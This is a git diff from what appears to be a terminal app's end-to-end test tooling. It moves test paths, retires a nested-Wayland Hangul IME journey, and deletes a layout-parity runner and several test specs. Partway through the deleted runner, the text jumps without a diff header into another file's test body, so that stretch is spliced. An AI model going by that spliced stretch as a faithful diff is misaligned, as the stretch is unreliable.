a/config/scripts/performance/native-chat/native-chat-4a-session.ts b/config/scripts/performance/native-chat/native-chat-4a-session.ts index cf5c14b0437..aacfc86bdfe 100644 --- a/config/scripts/performance/native-chat/native-chat-4a-session.ts +++ b/config/scripts/performance/native-chat/native-chat-4a-session.ts @@ -1,6 +1,6 @@ // Chat operations through the host RPC surface both arms serve, with envelopes built by each arm's own protocol bundle. // Its AppStore import also declares the window.__store and window.api globals these page.evaluate callbacks use. -import type { AppStore } from '../../../../tests/e2e/helpers/runtime-types' +import type { AppStore } from '../../../../tests/e2e/desktop/renderer-probes/runtime-types' import { randomUUID } from 'node:crypto' import { createOrcaSessionId } from '../../../../src/shared/agent-session/identity/orca-session-address' import type { Page } from '@stablyai/playwright-test' diff --git a/config/scripts/runtime-verification/layout-recording/record-layout-compat-baselines.mjs b/config/scripts/runtime-verification/layout-recording/record-layout-compat-baselines.mjs index ae48dba81df..70e2d3a1d97 100644 --- a/config/scripts/runtime-verification/layout-recording/record-layout-compat-baselines.mjs +++ b/config/scripts/runtime-verification/layout-recording/record-layout-compat-baselines.mjs @@ -1,5 +1,5 @@ // Copies observations written under ORCA_LAYOUT_COMPAT_REPORT_DIR (..json) -// into tests/e2e/layout-compat-baselines.json. Usage: node +// into tests/e2e/layout/version-compatibility/layout-compat-baselines.json. Usage: node import { readFileSync, readdirSync, writeFileSync } from 'node:fs' import path from 'node:path' @@ -13,6 +13,8 @@ const baselineFile = path.join( '..', 'tests', 'e2e', + 'layout', + 'version-compatibility', 'layout-compat-baselines.json' ) const baselines = JSON.parse(readFileSync(baselineFile, 'utf8')) diff --git a/config/scripts/runtime-verification/participation/verify-wsl-e2e-participation.mjs b/config/scripts/runtime-verification/participation/verify-wsl-e2e-participation.mjs index 9dae8bf498a..3ec0d99c436 100644 --- a/config/scripts/runtime-verification/participation/verify-wsl-e2e-participation.mjs +++ b/config/scripts/runtime-verification/participation/verify-wsl-e2e-participation.mjs @@ -3,8 +3,7 @@ import { readFileSync } from 'node:fs' import { pathToFileURL } from 'node:url' export const WSL_TEST_TITLES = [ - 'tab-bar + menu launches an agent inside WSL @tab-bar-agent-launch-golden', - 'existing WSL terminal keeps paste runtime after default shell changes' + 'tab-bar + menu launches an agent inside WSL @tab-bar-agent-launch-golden' ] export function verifyWslParticipation(report) { @@ -13,5 +12,5 @@ export function verifyWslParticipation(report) { if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { verifyWslParticipation(JSON.parse(readFileSync(process.argv[2], 'utf8'))) - console.log('Both WSL scenarios passed three times without skips or retries.') + console.log('The retained WSL launch scenario passed three times without skips or retries.') } diff --git a/config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs b/config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs index 5626beb8248..15425737164 100644 --- a/config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs +++ b/config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs @@ -9,7 +9,6 @@ import { readFileSync, writeFileSync } from 'node:fs' -import { verifyPlaywrightParticipation } from '../participation/verify-playwright-participation.mjs' import os from 'node:os' import path from 'node:path' import { @@ -21,9 +20,9 @@ import { const projectDir = path.resolve(import.meta.dirname, '../../../..') const scriptPath = import.meta.filename const insideSessionFlag = '--inside-session' -const nestedWaylandFlag = '--nested-wayland' -const nestedWayland = process.argv.includes(nestedWaylandFlag) -const waylandTitle = 'a digit typed right after a Hangul syllable reaches the pty' +if (process.argv.includes('--nested-wayland')) { + throw new Error('The nested Wayland terminating-digit journey has been retired') +} const processStopTimeoutMs = 5_000 const processKillTimeoutMs = 1_000 @@ -122,13 +121,7 @@ async function waitForHangulEngine(sessionProcess) { if (sessionProcess.exitCode !== null) { throw new Error(`IME session process exited early with code ${sessionProcess.exitCode}`) } - if ( - nestedWayland && - !existsSync(path.join(process.env.XDG_RUNTIME_DIR, process.env.WAYLAND_DISPLAY)) - ) { - await delay(100) - continue - } + const result = spawnSync('ibus', ['engine', 'hangul'], { encoding: 'utf8' }) lastError = result.stderr?.trim() || String(result.error ?? result.status) if (result.status === 0) { @@ -143,10 +136,7 @@ async function runInsideSession(evidenceDir) { const receiptPath = path.join(evidenceDir, 'ime-engagement-receipt.jsonl') const ibusLogPath = path.join(evidenceDir, 'ibus-daemon.log') const ibusLogFd = openSync(ibusLogPath, 'w') - const windowManagerLogPath = path.join( - evidenceDir, - nestedWayland ? 'gnome-shell.log' : 'xfwm4.log' - ) + const windowManagerLogPath = path.join(evidenceDir, 'xfwm4.log') const windowManagerLogFd = openSync(windowManagerLogPath, 'w') const evidence = { display: process.env.DISPLAY ?? null, @@ -163,61 +153,33 @@ async function runInsideSession(evidenceDir) { try { configureHangulEngine() - if (nestedWayland) { - for (const [schema, key, value] of [ - ['org.gnome.desktop.interface', 'enable-animations', 'false'], - ['org.gnome.desktop.input-sources', 'sources', "[('ibus', 'hangul')]"] - ]) { - const result = spawnSync('gsettings', ['set', schema, key, value], { encoding: 'utf8' }) - if (result.status !== 0) { - throw new Error(`Failed to configure GNOME: ${result.stderr}`) - } - } - windowManagerProcess = spawn( - 'gnome-shell', - ['--nested', '--wayland', `--wayland-display=${process.env.WAYLAND_DISPLAY}`], - { - detached: true, - env: - process.env.ORCA_E2E_WAYLAND_INPUT_DIAGNOSTICS === '1' - ? { ...process.env, WAYLAND_DEBUG: 'server' } - : process.env, - stdio: ['ignore', windowManagerLogFd, windowManagerLogFd] - } - ) - } else { - windowManagerProcess = spawn('xfwm4', ['--compositor=off'], { - detached: true, - env: process.env, - stdio: ['ignore', windowManagerLogFd, windowManagerLogFd] - }) - } + + windowManagerProcess = spawn('xfwm4', ['--compositor=off'], { + detached: true, + env: process.env, + stdio: ['ignore', windowManagerLogFd, windowManagerLogFd] + }) if (!windowManagerProcess.pid) { throw new Error('Window manager did not return a PID') } evidence.windowManagerPid = windowManagerProcess.pid console.error(`[terminal-ime] started window manager PID ${windowManagerProcess.pid}`) - if (nestedWayland) { - // GNOME starts IBus in the private session; a second daemon can compete for ownership. - await waitForHangulEngine(windowManagerProcess) - } else { - ibusProcess = spawn( - 'ibus-daemon', - ['--xim', '--verbose', '--panel=disable', '--emoji-extension=disable'], - { - detached: true, - env: process.env, - stdio: ['ignore', ibusLogFd, ibusLogFd] - } - ) - if (!ibusProcess.pid) { - throw new Error('ibus-daemon did not return a PID') + ibusProcess = spawn( + 'ibus-daemon', + ['--xim', '--verbose', '--panel=disable', '--emoji-extension=disable'], + { + detached: true, + env: process.env, + stdio: ['ignore', ibusLogFd, ibusLogFd] } - evidence.ibusDaemonPid = ibusProcess.pid - console.error(`[terminal-ime] started ibus-daemon PID ${ibusProcess.pid}`) - await waitForHangulEngine(ibusProcess) + ) + if (!ibusProcess.pid) { + throw new Error('ibus-daemon did not return a PID') } + evidence.ibusDaemonPid = ibusProcess.pid + console.error(`[terminal-ime] started ibus-daemon PID ${ibusProcess.pid}`) + await waitForHangulEngine(ibusProcess) console.error(`[terminal-ime] IBus version: ${commandOutput('ibus', ['version'])}`) console.error(`[terminal-ime] IBus engine: ${commandOutput('ibus', ['engine'])}`) console.error( @@ -239,43 +201,16 @@ async function runInsideSession(evidenceDir) { const testProcess = spawn( process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm', - nestedWayland - ? [ - 'exec', - 'playwright', - 'test', - '--config', - 'tests/playwright.config.ts', - 'tests/e2e/terminal-hangul-terminating-digit-native.spec.ts', - '--project=electron-headful', - '--workers=1', - '--repeat-each=3', - '--retries=0', - '--reporter=list,json' - ] - : [ - 'run', - 'test:e2e:headful', - '--workers=1', - 'tests/e2e/terminal-ibus-hangul-native.spec.ts', - 'tests/e2e/terminal-hangul-terminating-digit-native.spec.ts' - ], + [ + 'run', + 'test:e2e:headful', + '--workers=1', + 'tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts' + ], { cwd: projectDir, env: { ...process.env, - ...(nestedWayland - ? { - ORCA_E2E_IME_INJECTOR: 'nested', - ORCA_E2E_NESTED_FOCUS_CMD: path.join( - projectDir, - 'config/scripts/diagnostics/wayland/focus-nested-wayland-terminal.sh' - ), - ORCA_E2E_EXTRA_APP_ARGS: - '--ozone-platform=wayland --enable-wayland-ime --wayland-text-input-version=3 --password-store=basic --use-mock-keychain --disable-gpu-sandbox', - PLAYWRIGHT_JSON_OUTPUT_FILE: path.join(evidenceDir, 'playwright.json') - } - : {}), ORCA_E2E_FORWARD_APP_LOGS: '1', ORCA_E2E_NATIVE_IBUS_HANGUL: '1', ORCA_E2E_NATIVE_IBUS_XVFB: '1', @@ -301,13 +236,7 @@ async function runInsideSession(evidenceDir) { windowManagerProcess.pid ) } - if (nestedWayland && existsSync(path.join(evidenceDir, 'playwright.json'))) { - mkdirSync(path.join(projectDir, 'test-results'), { recursive: true }) - copyFileSync( - path.join(evidenceDir, 'playwright.json'), - path.join(projectDir, 'test-results', 'terminal-wayland-playwright.json') - ) - } + closeSync(ibusLogFd) closeSync(windowManagerLogFd) mkdirSync(path.join(projectDir, 'test-results'), { recursive: true }) @@ -317,11 +246,7 @@ async function runInsideSession(evidenceDir) { ) copyFileSync( windowManagerLogPath, - path.join( - projectDir, - 'test-results', - nestedWayland ? 'terminal-wayland-gnome-shell.log' : 'terminal-ibus-hangul-native-xfwm4.log' - ) + path.join(projectDir, 'test-results', 'terminal-ibus-hangul-native-xfwm4.log') ) writeFileSync( path.join(projectDir, 'test-results', 'terminal-ibus-hangul-native-processes.json'), @@ -348,23 +273,7 @@ async function runInsideSession(evidenceDir) { // Always require engagement evidence: skipped Playwright tests also exit 0, so successful exit alone proves nothing. const receiptText = existsSync(receiptPath) ? readFileSync(receiptPath, 'utf8') : '' - if (nestedWayland) { - verifyPlaywrightParticipation( - JSON.parse(readFileSync(path.join(evidenceDir, 'playwright.json'), 'utf8')), - { titles: [waylandTitle], label: 'Native Wayland Hangul', repetitions: 3 } - ) - const receipts = receiptText.trim().split('\n') - if (receipts.length !== 3) { - throw new Error('Expected three native Wayland engagement receipts') - } - for (const receipt of receipts) { - const problems = verifyImeEngagementReceipts(receipt, [waylandTitle]) - if (problems.length) { - throw new Error(problems.join('\n')) - } - } - return testExitCode - } + const engagementProblems = verifyImeEngagementReceipts(receiptText, EXPECTED_NATIVE_IME_TESTS) if (engagementProblems.length > 0) { for (const problem of engagementProblems) { @@ -398,36 +307,24 @@ async function runOuter() { 'xvfb-run', [ '--auto-servernum', - ...(nestedWayland ? ['--server-args=-screen 0 1280x800x24'] : []), 'dbus-run-session', '--', process.execPath, scriptPath, insideSessionFlag, - evidenceDir, - ...(nestedWayland ? [nestedWaylandFlag] : []) + evidenceDir ], { cwd: projectDir, detached: true, env: { ...process.env, - ...(nestedWayland - ? { - WAYLAND_DISPLAY: 'wayland-orca-ime', - XDG_SESSION_TYPE: 'wayland', - XDG_CURRENT_DESKTOP: 'GNOME', - LIBGL_ALWAYS_SOFTWARE: '1', - NO_AT_BRIDGE: '1' - } - : {}), GTK_IM_MODULE: 'ibus', IBUS_ENABLE_SYNC_MODE: '1', LANG: process.env.LANG || 'C.UTF-8', QT_IM_MODULE: 'ibus', - // GNOME 42 drops XDG_CONFIG_HOME when spawning IBus; both must use its default path. - XDG_CACHE_HOME: nestedWayland ? undefined : path.join(evidenceDir, 'cache'), - XDG_CONFIG_HOME: nestedWayland ? undefined : path.join(evidenceDir, 'config'), + XDG_CACHE_HOME: path.join(evidenceDir, 'cache'), + XDG_CONFIG_HOME: path.join(evidenceDir, 'config'), XDG_RUNTIME_DIR: runtimeDir, XMODIFIERS: '@im=ibus' }, @@ -448,9 +345,6 @@ async function runOuter() { const insideSession = process.argv[2] === insideSessionFlag try { - if (nestedWayland && process.env.GITHUB_ACTIONS !== 'true') { - throw new Error('Nested Wayland native input validation runs only in GitHub Actions') - } if (insideSession && !process.argv[3]) { throw new Error(`${insideSessionFlag} requires an evidence directory argument`) } diff --git a/config/scripts/runtime-verification/terminal-e2e/run-terminal-layout-parity.mjs b/config/scripts/runtime-verification/terminal-e2e/run-terminal-layout-parity.mjs deleted file mode 100644 index ecf98821a14..00000000000 --- a/config/scripts/runtime-verification/terminal-e2e/run-terminal-layout-parity.mjs +++ /dev/null @@ -1,231 +0,0 @@ -#!/usr/bin/env node -// Runs tests/e2e/terminal-layout-parity.spec.ts against a base and a head build and diffs the -// captured layouts and saved sessions. Usage: tests/e2e/AGENTS.md. - -import { build } from 'esbuild' -import { - existsSync, - mkdirSync, - mkdtempSync, - readFileSync, - readdirSync, - rmSync, - writeFileSync -} from 'node:fs' -import { tmpdir } from 'node:os' -import { join, resolve } from 'node:path' -import { pathToFileURL } from 'node:url' -import { parseArgs } from 'node:util' -import { runProcessSync } from '@orca/process-host' -import { describeProcessFailure } from '../../tool-invocation/process-failure-message.mjs' -import { resolvePnpmCliInvocation } from '../../tool-invocation/pnpm-cli-invocation.mjs' -const repoRoot = resolve(import.meta.dirname, '../../../..') -const BUILD_STAMP = join('out', '.terminal-layout-parity-build') - -// Bundle TypeScript parity modules so plain Node does not need a loader. -async function importParityModules() { - const temporary = mkdtempSync(join(tmpdir(), 'orca-layout-parity-')) - try { - const outfile = join(temporary, 'parity.mjs') - await build({ - stdin: { - contents: ['snapshot', 'declared-differences'] - .map( - (name) => - `export * from ${JSON.stringify(join(repoRoot, 'tests', 'e2e', `terminal-layout-parity-${name}.ts`))}` - ) - .join('\n'), - resolveDir: repoRoot, - sourcefile: 'terminal-layout-parity-entry.ts' - }, - bundle: true, - platform: 'node', - format: 'esm', - outfile, - logLevel: 'silent' - }) - return await import(pathToFileURL(outfile).href) - } finally { - rmSync(temporary, { recursive: true, force: true }) - } -} - -const { - TERMINAL_LAYOUT_PARITY_OUT_ENV, - TERMINAL_LAYOUT_PARITY_DECLARED_DIFFERENCES, - TERMINAL_LAYOUT_PARITY_UNSTABLE_ON_MAIN, - compareParityCaptures, - isParityClean -} = await importParityModules() - -// `pnpm run safely.' - } - } - ] - .map((record) => JSON.stringify(record)) - .join('\n')}\n` - ) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.setRightSidebarOpen(true) - state?.setRightSidebarTab('vault') - state?.setRightSidebarWidth(400) - }) - await orcaPage.getByRole('button', { name: 'Agents', exact: true }).click() - await orcaPage.getByRole('radio', { name: 'All', exact: true }).click() - const input = orcaPage.getByRole('textbox', { name: 'Search sessions', exact: true }) - await input.fill('nebulariver') - await expect(orcaPage.getByRole('button', { name: 'Enable', exact: true })).toBeVisible() - const cdp = await orcaPage.context().newCDPSession(orcaPage) - async function screenshot(name: string) { - const { data } = await cdp.send('Page.captureScreenshot', { format: 'png' }) - const screenshotPath = testInfo.outputPath(name) - writeFileSync(screenshotPath, Buffer.from(data, 'base64')) - await testInfo.attach(name, { path: screenshotPath, contentType: 'image/png' }) - } - await screenshot('consent.png') - await orcaPage.getByRole('button', { name: 'Enable', exact: true }).click() - // Indexed searches are snapshots; enabling starts indexing independently of the panel. - await expect - .poll( - () => - orcaPage.evaluate( - async () => (await window.api.aiVault.searchStatus('local')).filesIndexed - ), - { timeout: 30_000 } - ) - .toBeGreaterThan(0) - await orcaPage.getByRole('button', { name: 'Refresh Session History', exact: true }).click() - await expect(orcaPage.locator('mark').filter({ hasText: 'nebulariver' })).toBeVisible() - await expect(orcaPage.getByText('Synthetic panel transcript', { exact: true })).toBeVisible() - await screenshot('results.png') - await orcaPage.getByTitle('Drag to resume in a new tab', { exact: true }).click() - await expect(orcaPage.locator('mark').filter({ hasText: 'nebulariver' })).toBeVisible() - await orcaPage.getByTitle('Drag to resume in a new tab', { exact: true }).click() - const title = orcaPage.getByText('Synthetic panel transcript', { exact: true }) - await expect(title).toHaveAttribute('draggable', 'true') - const drag = await title.evaluate((element) => { - const dataTransfer = new DataTransfer() - element.dispatchEvent(new DragEvent('dragstart', { bubbles: true, dataTransfer })) - const payload = dataTransfer.getData('application/x-orca-ai-vault-session') - element.dispatchEvent(new DragEvent('dragend', { bubbles: true, dataTransfer })) - return payload - }) - expect(JSON.parse(drag)).toMatchObject({ sessionId, sessionExecutionHostId: 'local' }) - await title.click({ button: 'right' }) - await expect( - orcaPage.getByRole('menuitem', { name: 'Copy Session ID', exact: true }) - ).toBeVisible() - await orcaPage.keyboard.press('Escape') - await expect(orcaPage.locator('[role="menu"]')).toHaveCount(0) - await orcaPage.evaluate(async () => { - await window.__store?.getState().updateSettingsOrThrow({ theme: 'dark' }) - window.__store?.getState().setRightSidebarWidth(280) - }) - await expect(orcaPage.locator('html')).toHaveClass(/dark/) - await screenshot('results-dark-narrow.png') - await title.click({ button: 'right' }) - await orcaPage.getByRole('menuitem', { name: 'Delete', exact: true }).click() - await orcaPage.getByRole('button', { name: 'Delete', exact: true }).click() - await expect(title).toHaveCount(0) - await expect(orcaPage.locator('mark')).toHaveCount(0) - await input.fill('nothingmatchesprseven') - await expect(orcaPage.getByText('No matching sessions to show.', { exact: true })).toBeVisible() - await screenshot('empty.png') - await input.press('Escape') - await expect(input).toHaveValue('') - await expect(orcaPage.getByText('Indexed history · best matches', { exact: false })).toHaveCount( - 0 - ) - await cdp.detach() -}) diff --git a/tests/e2e/artificial-opencode-terminal-load.spec.ts b/tests/e2e/artificial-opencode-terminal-load.spec.ts deleted file mode 100644 index 9df3601694f..00000000000 --- a/tests/e2e/artificial-opencode-terminal-load.spec.ts +++ /dev/null @@ -1,438 +0,0 @@ -import { presentTerminalPerfWindow } from './terminal-perf-presentation' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { sendToTerminal } from './helpers/terminal' -import { - ensureActiveWorktreePaneLoad, - focusActiveTerminalInput, - focusPane, - waitForMarkerLatency, - waitForTerminalOutputForPtyId -} from './artificial-opencode-pane-interactions' -import { runHiddenRealPtyPressureScenario } from './artificial-opencode-hidden-pressure-scenario' -import type { HiddenPressureOutputMode } from './artificial-opencode-hidden-pressure-script' -import { runRendererBackpressureRevisitScenario } from './artificial-opencode-revisit-pressure-scenario' - -test.beforeEach(async ({ electronApp, orcaPage }, testInfo) => { - await orcaPage.waitForLoadState('domcontentloaded') - await presentTerminalPerfWindow(electronApp, testInfo) -}) - -type TypingMeasurement = { - latencies: number[] - medianLatencyMs: number - worstLatencyMs: number - maxTimerDriftMs: number - frameCount: number -} - -type SyntheticOpenCodeWindow = Window & { - __terminalPtyDataInjection?: { - inject: (paneKey: string, data: string) => boolean - } - __terminalPtyAckGate?: { - hold: (ptyIds: string[]) => void - release: () => void - snapshot: () => TerminalPtyAckGateSnapshot - } - __terminalPtyOutputDebug?: { - reset: () => void - snapshot: () => TerminalPtyOutputDebugSnapshot - } - __terminalOutputSchedulerDebug?: { - reset: () => void - snapshot: () => TerminalOutputSchedulerDebugSnapshot - } -} - -type TerminalPtyOutputDebugSnapshot = { - hiddenRendererSkipCount: number -} - -type TerminalOutputSchedulerDebugSnapshot = { - backgroundEnqueueCount: number - deferredForegroundEnqueueCount: number - foregroundWriteCount: number - backgroundWriteCount: number - deferredForegroundWriteCount: number - flushWriteCount: number - scheduledDrainCount: number - queuedTerminalCount: number - queuedChars: number - peakQueuedTerminalCount: number - peakQueuedChars: number - peakQueuedCharsByTerminal: number - droppedBacklogCount: number - drainWrites: number[] -} - -type TerminalPtyAckGateSnapshot = { - gatedPtyCount: number - heldAckCount: number - heldAckChars: number -} - -type MainPtyPressureDebugSnapshot = { - pendingPtyCount: number - pendingChars: number - maxPendingCharsByPty: number - rendererInFlightPtyCount: number - rendererInFlightChars: number - maxRendererInFlightCharsByPty: number - activeRendererPtyCount: number - flushScheduled: boolean - peakPendingChars: number - peakMaxPendingCharsByPty: number - peakRendererInFlightChars: number - peakMaxRendererInFlightCharsByPty: number - ackGatedFlushSkipCount: number - // Phase-4 hidden-delivery gate: bytes dropped in main after model ingestion. - hiddenDeliveryGatedPtyCount: number - deliveryInterestPtyCount: number - hiddenDeliveryDroppedChars: number - hiddenDeliveryDroppedChunks: number - pendingDroppedChars: number -} - -const KEY_LATENCY_SAMPLES = 'abcdefghijklmnop' -const DEFAULT_PRESSURE_BACKGROUND_PANES = 17 -const DEFAULT_PRESSURE_OUTPUT_CHARS = 768 * 1024 -const DEFAULT_HIDDEN_PRESSURE_PANES = 17 -const HIDDEN_PRESSURE_START_DELAY_MS = 1200 -const DEFAULT_FRAME_COUNT = 180 -const MAIN_RENDERER_PRESSURE_TARGET_CHARS = 2 * 1024 * 1024 -// Gate visible typing regressions with CI headroom above repeated local sub-50ms echo measurements. -const MAX_MEDIAN_KEY_LATENCY_MS = 75 -// Keep median latency strict; worst loaded echo can hit a ~3.1s runner stall and serves only as a hang detector. -const MAX_WORST_KEY_LATENCY_UNDER_LOAD_MS = 3_500 -// Revisit printf runs under background pressure plus whole-buffer polling, so it needs the loaded budget. -const MAX_REVISIT_LATENCY_UNDER_LOAD_MS = 3_000 -// Loaded timer drift may share ~3.1s runner starvation with worst echo; keep the strict unloaded baseline. -const MAX_TIMER_DRIFT_UNDER_LOAD_MS = 3_500 -// Why: byte-level peaks vary by drain quantum; the coarse guard matches the main-pressure scenario. -const MAX_RENDERER_SCHEDULER_QUEUED_CHARS = 5 * 1024 * 1024 - -function readPositiveInt(name: string, fallback: number): number { - const raw = process.env[name] - if (!raw) { - return fallback - } - const value = Number(raw) - return Number.isInteger(value) && value > 0 ? value : fallback -} - -const PRESSURE_BACKGROUND_PANES = readPositiveInt( - 'ORCA_E2E_OPENCODE_PRESSURE_BACKGROUND_PANES', - DEFAULT_PRESSURE_BACKGROUND_PANES -) -const PRESSURE_OUTPUT_CHARS = readPositiveInt( - 'ORCA_E2E_OPENCODE_PRESSURE_OUTPUT_CHARS', - DEFAULT_PRESSURE_OUTPUT_CHARS -) -const HIDDEN_PRESSURE_PANES = readPositiveInt( - 'ORCA_E2E_OPENCODE_HIDDEN_PRESSURE_PANES', - DEFAULT_HIDDEN_PRESSURE_PANES -) -const FRAME_COUNT = readPositiveInt('ORCA_E2E_OPENCODE_FRAME_COUNT', DEFAULT_FRAME_COUNT) - -function interactivePromptScript(runId: string): string { - return ` -process.stdin.setEncoding('utf8') -if (process.stdin.isTTY) process.stdin.setRawMode(true) -process.stdin.resume() -let seq = 0 -const interrupt = String.fromCharCode(3) -process.stdout.write('\\x1b]0;OpenCode load typing benchmark\\x07') -process.stdout.write('OPENCODE_TYPING_READY_${runId}\\n') -process.stdin.on('data', (chunk) => { - if (chunk.includes(interrupt)) { - process.exit(0) - } - for (const char of chunk) { - if (char === '\\r' || char === '\\n') continue - seq += 1 - process.stdout.write('\\r\\x1b[2KOpenCode load prompt ' + seq + ': ' + char + ' OPENCODE_TYPING_KEY_${runId}_' + seq + '\\n') - } -}) -` -} - -function writeInteractivePromptScript(scriptPath: string, runId: string): void { - // Use any writable directory: scale-run prompt scripts need no git state and can outlive fixture-repo cleanup. - mkdirSync(path.dirname(scriptPath), { recursive: true }) - writeFileSync(scriptPath, interactivePromptScript(runId)) -} - -function median(values: number[]): number { - const sorted = [...values].sort((a, b) => a - b) - return sorted[Math.floor(sorted.length / 2)] ?? 0 -} - -async function measureTypingDuringLoad( - page: Page, - scriptPath: string, - ptyId: string, - runId: string -): Promise { - await sendToTerminal(page, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - await waitForTerminalOutputForPtyId(page, ptyId, `OPENCODE_TYPING_READY_${runId}`, 10_000) - await focusActiveTerminalInput(page) - - // Hidden-renderer intervals can drift while echo stays fast; use long tasks to measure actual main-thread blocking. - const eventLoop = await page.evaluateHandle(() => { - if (!PerformanceObserver.supportedEntryTypes.includes('longtask')) { - throw new Error('Long-task timing is unavailable in this renderer') - } - let longestTaskMs = 0 - const record = (entries: PerformanceEntryList): void => { - for (const entry of entries) { - longestTaskMs = Math.max(longestTaskMs, entry.duration) - } - } - const observer = new PerformanceObserver((list) => record(list.getEntries())) - observer.observe({ type: 'longtask' }) - return { - stop: () => { - record(observer.takeRecords()) - observer.disconnect() - return longestTaskMs - } - } - }) - - const latencies: number[] = [] - for (const [index, char] of [...KEY_LATENCY_SAMPLES].entries()) { - const marker = `OPENCODE_TYPING_KEY_${runId}_${index + 1}` - const start = performance.now() - await page.keyboard.type(char) - // Allow the loaded echo budget so slow input becomes a latency failure rather than a missing-output error. - await waitForMarkerLatency(page, marker, MAX_WORST_KEY_LATENCY_UNDER_LOAD_MS) - latencies.push(performance.now() - start) - } - - const maxTimerDriftMs = await eventLoop.evaluate((watcher) => watcher.stop()) - await eventLoop.dispose() - return { - latencies, - medianLatencyMs: median(latencies), - worstLatencyMs: Math.max(...latencies), - maxTimerDriftMs, - frameCount: FRAME_COUNT - } -} - -async function resetTerminalPtyOutputDebug(page: Page): Promise { - await page.evaluate(async () => { - ;(window as SyntheticOpenCodeWindow).__terminalPtyOutputDebug?.reset() - ;(window as SyntheticOpenCodeWindow).__terminalOutputSchedulerDebug?.reset() - await window.api.pty.resetRendererDeliveryDebug() - }) -} - -async function readTerminalPtyOutputDebug( - page: Page -): Promise { - return page.evaluate(() => { - return (window as SyntheticOpenCodeWindow).__terminalPtyOutputDebug?.snapshot() ?? null - }) -} - -async function readTerminalOutputSchedulerDebug( - page: Page -): Promise { - return page.evaluate(() => { - return (window as SyntheticOpenCodeWindow).__terminalOutputSchedulerDebug?.snapshot() ?? null - }) -} - -async function readMainPtyPressureDebug(page: Page): Promise { - return page.evaluate(async () => { - return window.api.pty.getRendererDeliveryDebugSnapshot() - }) -} - -async function holdTerminalAckGate(page: Page, ptyIds: string[]): Promise { - await page.evaluate((ids) => { - const gate = (window as SyntheticOpenCodeWindow).__terminalPtyAckGate - if (!gate) { - throw new Error('terminal PTY ACK gate is unavailable') - } - gate.hold(ids) - }, ptyIds) -} - -async function releaseTerminalAckGate(page: Page): Promise { - await page.evaluate(() => { - ;(window as SyntheticOpenCodeWindow).__terminalPtyAckGate?.release() - }) -} - -async function readTerminalAckGateDebug(page: Page): Promise { - return page.evaluate(() => { - return (window as SyntheticOpenCodeWindow).__terminalPtyAckGate?.snapshot() ?? null - }) -} - -async function waitForMainPtyPressureBacklog(page: Page): Promise { - let lastSnapshot: MainPtyPressureDebugSnapshot | null = null - await expect - .poll( - async () => { - lastSnapshot = await readMainPtyPressureDebug(page) - return ( - (lastSnapshot?.peakRendererInFlightChars ?? 0) >= MAIN_RENDERER_PRESSURE_TARGET_CHARS && - (lastSnapshot?.peakPendingChars ?? 0) > 0 && - (lastSnapshot?.ackGatedFlushSkipCount ?? 0) > 0 - ) - }, - { - timeout: 20_000, - message: 'Main PTY renderer delivery pressure did not build up' - } - ) - .toBe(true) - if (!lastSnapshot) { - throw new Error('Main PTY pressure snapshot unavailable') - } - return lastSnapshot -} - -function annotateTypingMeasurement( - testInfo: TestInfo, - type: string, - paneCount: number, - measurement: TypingMeasurement, - debug: TerminalPtyOutputDebugSnapshot | null = null, - scheduler: TerminalOutputSchedulerDebugSnapshot | null = null, - mainPressure: MainPtyPressureDebugSnapshot | null = null, - ackGate: TerminalPtyAckGateSnapshot | null = null -): void { - const hiddenSkipSummary = debug ? ` hiddenRendererSkips=${debug.hiddenRendererSkipCount}` : '' - const schedulerSummary = scheduler - ? ` deferredForegroundEnqueue=${scheduler.deferredForegroundEnqueueCount} deferredForegroundWrite=${scheduler.deferredForegroundWriteCount} scheduledDrains=${scheduler.scheduledDrainCount} rendererQueuedTerminals=${scheduler.queuedTerminalCount} rendererQueuedChars=${scheduler.queuedChars} rendererPeakQueuedTerminals=${scheduler.peakQueuedTerminalCount} rendererPeakQueuedChars=${scheduler.peakQueuedChars} rendererPeakQueuedCharsByTerminal=${scheduler.peakQueuedCharsByTerminal} rendererDroppedBacklogs=${scheduler.droppedBacklogCount}` - : '' - const mainPressureSummary = mainPressure - ? ` mainPendingPtys=${mainPressure.pendingPtyCount} mainPendingChars=${mainPressure.pendingChars} mainMaxPendingChars=${mainPressure.maxPendingCharsByPty} mainInFlightPtys=${mainPressure.rendererInFlightPtyCount} mainInFlightChars=${mainPressure.rendererInFlightChars} mainMaxInFlightChars=${mainPressure.maxRendererInFlightCharsByPty} mainActivePtys=${mainPressure.activeRendererPtyCount} mainFlushScheduled=${mainPressure.flushScheduled} mainPeakPendingChars=${mainPressure.peakPendingChars} mainPeakMaxPendingChars=${mainPressure.peakMaxPendingCharsByPty} mainPeakInFlightChars=${mainPressure.peakRendererInFlightChars} mainPeakMaxInFlightChars=${mainPressure.peakMaxRendererInFlightCharsByPty} mainAckGatedFlushSkips=${mainPressure.ackGatedFlushSkipCount} mainHiddenGatedPtys=${mainPressure.hiddenDeliveryGatedPtyCount} mainHiddenDroppedChars=${mainPressure.hiddenDeliveryDroppedChars} mainPendingDroppedChars=${mainPressure.pendingDroppedChars}` - : '' - const ackGateSummary = ackGate - ? ` heldAckPtys=${ackGate.heldAckCount} heldAckChars=${ackGate.heldAckChars} gatedAckPtys=${ackGate.gatedPtyCount}` - : '' - testInfo.annotations.push({ - type, - description: `panes=${paneCount} frames=${measurement.frameCount} median=${measurement.medianLatencyMs.toFixed( - 1 - )}ms worst=${measurement.worstLatencyMs.toFixed( - 1 - )}ms maxTimerDrift=${measurement.maxTimerDriftMs.toFixed(1)}ms samples=${measurement.latencies - .map((value) => value.toFixed(1)) - .join(',')}${hiddenSkipSummary}${schedulerSummary}${mainPressureSummary}${ackGateSummary}` - }) -} - -const terminalLoadScenarioDeps = { - annotateTypingMeasurement, - ensureActiveWorktreePaneLoad, - focusPane, - holdTerminalAckGate, - measureTypingDuringLoad, - readMainPtyPressureDebug, - 